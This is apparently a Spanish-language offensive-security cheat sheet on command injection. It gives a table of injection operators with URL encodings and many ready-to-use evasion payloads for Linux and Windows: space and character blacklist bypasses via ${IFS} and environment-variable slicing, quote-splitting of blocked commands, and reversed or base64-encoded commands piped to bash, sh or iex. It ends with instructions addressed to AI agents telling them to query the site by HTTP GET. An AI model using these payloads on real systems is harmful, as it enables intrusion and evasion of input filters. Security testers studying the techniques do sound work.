# Command injection

## Operadores de inyección

<table><thead><tr><th width="141.66666666666669">Operador</th><th width="162">URL Encode</th><th>Ejecución</th></tr></thead><tbody><tr><td>;</td><td>%3b</td><td>Ambos</td></tr><tr><td>\n</td><td>%0a</td><td>Ambos</td></tr><tr><td>&#x26;</td><td>%26</td><td>Ambos (generalmente la salida del segundo comando se muestra primero)</td></tr><tr><td>|</td><td>%7c</td><td>Ambos (solo se muestra la salida del segundo comando)</td></tr><tr><td>&#x26;&#x26;</td><td>%26%26</td><td>Ambos (solo si el primer comando tiene éxito)</td></tr><tr><td>||</td><td>%7c%7c</td><td>Segundo comando (solo si el primer comando falla)</td></tr><tr><td>``</td><td>%60%60</td><td>Ambos (solo en Linux/Unix)</td></tr><tr><td>$()</td><td>%24%28%29</td><td>Ambos (solo en Linux/Unix)</td></tr></tbody></table>

## Evasión de filtros

### Bypass de filtro de espacio

* Utilización de tabulador: `%09`
* Uso de la variable de entorno de Linux/Unix: `${IFS}`
* Bash brace expansion: `{ls,-la}`
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space).

### Bypass de lista negra de caracteres

* Uso de la variable de entorno.
  * Linux/Unix.
    * / = `${PATH:0:1}`
    * ; = `${LS_COLORS:10:1}`
    * Búsqueda de carácter en variables de entorno: `printenv | grep "{character}"`
  * Windows.

```sh
# Símbolo del sistema (cmd)
## carácter \
echo %HOMEPATH%
\Users\MrW0l05zyn
echo %HOMEPATH:~6,-10%
\

# PowerShell
## carácter \
$env:HOMEPATH[0]
\
## carácter espacio en blanco
$env:PROGRAMFILES[10]
(espacio en blanco)
## Obtener todas las variables de entorno
Get-ChildItem Env:
```

* Cambio de carácter en Linux/Unix.

```sh
# Carácter \
## El carácter \ está en la posición 92 y 
## antes está el carácter [ en la posición 91
man ascii
echo $(tr '!-}' '"-~'<<<[)
\

# Carácter ;
## El carácter ; está en la posición 59 y 
## antes está el carácter : en la posición 58
man ascii
echo $(tr '!-}' '"-~'<<<:)
;
```

### Bypass de lista negra de comandos

* Linux/Unix.

```shell
# No mezclar el tipo de comillas y 
# la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
i'd'
w"h"o"am"i
p"w"d
i"d"

# La cantidad de caracteres "especiales" no debe ser par
who$@ami
p$@wd
i$@d
w\ho\am\i
p\wd
i\d
```

* Windows.

```shell
# Símbolo del sistema (cmd)
who^ami

# PowerShell
## no mezclar el tipo de comillas y 
## la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
w"h"o"am"i
p"w"d
```

### Ofuscación de comandos

* Variaciones de mayúsculas y minúsculas.

```shell
# Linux/Unix
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
## URL encode
$(tr+"[A-Z]"+"[a-z]"<<<"WhOaMi")
## Utilización de tabulador %09
$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")
## Uso de la variable de entorno ${IFS}
$(tr${IFS}"[A-Z]"${IFS}"[a-z]"<<<"WhOaMi")

# Windows
## Símbolo del sistema (cmd)
WhOaMi

## PowerShell
WhOaMi
```

* Comandos invertidos.

```shell
# Linux/Unix
echo 'whoami' | rev
imaohw
$(rev<<<'imaohw')

# Windows
## PowerShell
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
```

* Comandos encodeados.

```shell
# Linux/Unix
echo -n 'whoami' | base64
d2hvYW1p
bash<<<$(base64 -d<<<d2hvYW1p)
sh<<<$(base64 -d<<<d2hvYW1p)

# Windows
## PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
